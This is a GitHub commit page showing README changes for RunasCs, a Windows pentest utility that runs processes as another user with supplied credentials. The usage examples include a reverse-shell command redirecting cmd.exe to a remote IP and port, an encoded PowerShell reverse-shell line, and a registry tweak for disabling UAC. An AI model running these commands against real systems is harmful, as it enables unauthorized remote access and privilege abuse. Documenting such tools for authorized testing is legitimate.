Skip to content

Commit 5e8c074

Browse files
antonioCocoantonioCoco
authored
Merge pull request #1 from qtc-de/develop
Improvements and additional features
2 parents e74153d + 98ec565 commit 5e8c074

File tree

4 files changed

+800
-340
lines changed

4 files changed

+800
-340
lines changed

‎Invoke-RunasCs.ps1‎

Lines changed: 76 additions & 16 deletions
Large diffs are not rendered by default.

‎README.md‎

Lines changed: 110 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -1,93 +1,133 @@
1-
# RunasCs
2-
<p>RunasCs is an utility to run specific processes with different permissions than the user's current logon provides using explicit credentials.</p>
3-
<p>This tool is an improved (from a pentest perspective) and open version of windows builtin runas.exe that solves some limitations:</p>
4-
<ul>
5-
<li>Allows explicit credentials;</li>
6-
<li>Works both if spawned from interactive process and from service process;</li>
7-
<li>Manage properly DACL for Window Stations and Desktop for the creation of the new process;</li>
8-
<li>Uses more reliable and free create process functions like CreateProcessAsUser() and CreateProcessWithTokenW() if the calling process holds the required privileges (automatic detection);</li>
9-
<li>Allows to specify the logon type, i.e. network logon 3 (no UAC limitations);</li>
10-
<li>It's Open Source :)</li>
11-
</ul>
12-
<br>
13-
<p>RunasCs has an automatic detection to determine the best create process function for every contexts.
1+
### RunasCs
2+
3+
----
4+
5+
*RunasCs* is an utility to run specific processes with different permissions than the user's current logon provides using explicit credentials.
6+
This tool is an improved (from a pentest perspective) and open version of windows builtin *runas.exe* that solves some limitations:
7+
8+
* Allows explicit credentials
9+
* Works both if spawned from interactive process and from service process
10+
* Manage properly *DACL* for *Window Stations* and *Desktop* for the creation of the new process
11+
* Uses more reliable create process functions like ``CreateProcessAsUser()`` and ``CreateProcessWithTokenW()`` if the calling process holds the required privileges (automatic detection)
12+
* Allows to specify the logon type, i.e. network logon 3 (no *UAC* limitations)
13+
* Allows redirecting *stdin*, *stdout* and *stderr* to a remote host
14+
* It's Open Source :)
15+
16+
*RunasCs* has an automatic detection to determine the best create process function for every contexts.
1417
Based on the process caller token permissions, it will use one of the create process function in the following preferred order:
15-
<ol>
16-
<li> CreateProcessAsUser();</li>
17-
<li> CreateProcessWithTokenW();</li>
18-
<li> CreateProcessWithLogonW().</li>
19-
</ol>
20-
</p>
2118

22-
## Requirements
23-
<p>.NET Framework >= 2.0</p>
19+
1. ``CreateProcessAsUser()``
20+
2. ``CreateProcessWithTokenW()``
21+
3. ``CreateProcessWithLogonW()``
2422

25-
## Usage
26-
```
27-
RunasCs is an utility to run specific processes with different permissions than the user's current logon provides
28-
using explicit credentials.
29-
RunasCs has an automatic detection to determine the best create process function for every contexts.
30-
Based on the caller token permissions, it will use one of the create process function in the following preferred order:
31-
1. CreateProcessAsUser();
32-
2. CreateProcessWithTokenW();
33-
3. CreateProcessWithLogonW().
34-
The two processes (calling and called) will communicate through 1 pipe (both for stdout and stderr).
35-
The default logon type is 3 (Network_Logon).
36-
If you set Interactive (2) logon type you will face some UAC restriction problems.
37-
You can make interactive logon without any restrictions by setting the following regkey to 0 and restart the server:
3823

39-
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
24+
### Requirements
25+
26+
----
4027

41-
By default, the calling process (RunasCs) will wait until the end of the execution of the spawned process and will use
42-
cmd.exe to manage stdout and stderr.
43-
If you need to spawn a background or async process, i.e. spawning a reverse shell, you need to set the parameter
44-
'process_timeout' to 0. In this case the process will be spawned without using cmd.exe and RunasCs won't
45-
wait for the end of the execution.
28+
.NET Framework >= 2.0
29+
30+
31+
### Usage
32+
33+
----
34+
35+
```console
36+
C:\ProgramData>.\RunasCs_net2.exe --help
37+
38+
RunasCs v1.3 - @splinter_code
4639

4740
Usage:
48-
RunasCs.exe username password cmd [domain] [process_timeout] [logon_type]
41+
RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--create-profile]
42+
43+
Description:
44+
RunasCs is an utility to run specific processes under a different user account
45+
by specifying explicit credentials. In contrast to the default runas.exe command
46+
it supports different logon types and crateProcess functions to be used, depending
47+
on your current permissions. Furthermore it allows input/output redirection (even
48+
to remote hosts) and you can specify the password directly on the command line.
4949

5050
Positional arguments:
5151
username username of the user
5252
password password of the user
5353
cmd command supported by cmd.exe if process_timeout>0
5454
commandline for the process if process_timeout=0
55-
domain domain of the user, if in a domain.
55+
Optional arguments:
56+
-d, --domain domain
57+
domain of the user, if in a domain.
5658
Default: ""
57-
process_timeout the waiting time (in ms) to use in
58-
the WaitForSingleObject() function.
59-
This will halt the process until the spawned
60-
process ends and sent the output back to the caller.
61-
If you set 0 an async process will be
62-
created and no output will be retrieved.
63-
If this parameter is set to 0 it won't be
64-
used cmd.exe to spawn the process.
65-
Default: "120000"
66-
logon_type the logon type for the spawned process.
59+
-f, --function create_process_function
60+
CreateProcess function to use. When not specified
61+
RunasCs determines an appropriate CreateProcess
62+
function automatically according to your privileges.
63+
0 - CreateProcessAsUserA
64+
1 - CreateProcessWithTokenW
65+
2 - CreateProcessWithLogonW
66+
-l, --logon-type logon_type
67+
the logon type for the spawned process.
6768
Default: "3"
69+
-r, --remote host:port
70+
redirect stdin, stdout and stderr to a remote host.
71+
Using this option sets the process timeout to 0.
72+
-t, --timeout process_timeout
73+
the waiting time (in ms) for the created process.
74+
This will halt RunasCs until the spawned process
75+
ends and sent the output back to the caller.
76+
If you set 0 no output will be retrieved and cmd.exe
77+
won't be used to spawn the process.
78+
Default: "120000"
79+
-p, --create-profile
80+
if this flag is specified RunasCs will force the
81+
creation of the user profile on the machine.
82+
This will ensure the process will have the
83+
environment variables correctly set.
84+
NOTE: this will leave some forensics traces
85+
behind creating the user profile directory.
86+
Compatible only with -f flags:
87+
1 - CreateProcessWithTokenW
88+
2 - CreateProcessWithLogonW
6889

6990
Examples:
7091
Run a command as a specific local user
7192
RunasCs.exe user1 password1 whoami
72-
Run a command as a specific domain user
73-
RunasCs.exe user1 password1 whoami domain
74-
Run a command as a specific local user with interactive logon type (2)
75-
RunasCs.exe user1 password1 whoami "" 120000 2
93+
Run a command as a specific domain user and interactive logon type (2)
94+
RunasCs.exe user1 password1 whoami -d domain -l 2
7695
Run a background/async process as a specific local user,
77-
i.e. meterpreter ps1 reverse shell
78-
RunasCs.exe "user1" "password1" "%COMSPEC% powershell -enc..." "" "0"
79-
Run a background/async interactive process as a specific local user,
80-
i.e. meterpreter ps1 reverse shell
81-
RunasCs.exe "user1" "password1" "%COMSPEC% powershell -enc.." "" "0" "2"
96+
RunasCs.exe user1 password1 "%COMSPEC% powershell -enc..." -t 0
97+
Redirect stdin, stdout and stderr of the specified command to a remote host
98+
RunasCs.exe user1 password1 cmd.exe -r 10.10.10.24:4444
99+
Run a command simulating the /netonly flag of runas.exe
100+
RunasCs.exe user1 password1 whoami -d domain -l 9
101+
```
102+
103+
The two processes (calling and called) will communicate through one *pipe* (both for *stdout* and *stderr*).
104+
The default logon type is 3 (*Network_Logon*). If you set *Interactive* (2) logon type you will face some *UAC* restriction problems.
105+
You can make interactive logon without any restrictions by setting the following regkey to 0 and restart the server:
106+
107+
```
108+
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
82109
```
83110

84-
## References
85-
- https://decoder.cloud/2018/01/13/potato-and-tokens/
86-
- https://github.com/dahall/Vanara
87-
- https://docs.microsoft.com/en-us/previous-versions/aa379608(v=vs.85)
88-
- https://support.microsoft.com/en-us/help/190351/how-to-spawn-console-processes-with-redirected-standard-handles
89-
- https://support.microsoft.com/en-us/help/327618/security-services-and-the-interactive-desktop-in-windows
90-
- https://blogs.msdn.microsoft.com/winsdk/2015/06/03/what-is-up-with-the-application-failed-to-initialize-properly-0xc0000142-error/
111+
By default, the calling process (*RunasCs*) will wait until the end of the execution of the spawned process and will use
112+
``cmd.exe`` to manage *stdout* and *stderr*. If you need to spawn a background or async process, i.e. spawning a reverse shell,
113+
you need to set the parameter ``-t timeout`` to ``0``. In this case the process will be spawned without using ``cmd.exe``
114+
and *RunasCs* won't wait for the end of the execution.
115+
116+
### References
117+
118+
----
119+
120+
* https://decoder.cloud/2018/01/13/potato-and-tokens/
121+
* https://github.com/dahall/Vanara
122+
* https://docs.microsoft.com/en-us/previous-versions/aa379608(v=vs.85)
123+
* https://support.microsoft.com/en-us/help/190351/how-to-spawn-console-processes-with-redirected-standard-handles
124+
* https://support.microsoft.com/en-us/help/327618/security-services-and-the-interactive-desktop-in-windows
125+
* https://blogs.msdn.microsoft.com/winsdk/2015/06/03/what-is-up-with-the-application-failed-to-initialize-properly-0xc0000142-error/
126+
127+
128+
### Credits
129+
130+
-----
91131

92-
## Credits
93-
<a href="https://github.com/decoder-it">@decoder</a>
132+
* [@decoder](https://github.com/decoder-it)
133+
* [@qtc-de](https://github.com/qtc-de)

0 commit comments

Comments
 (0)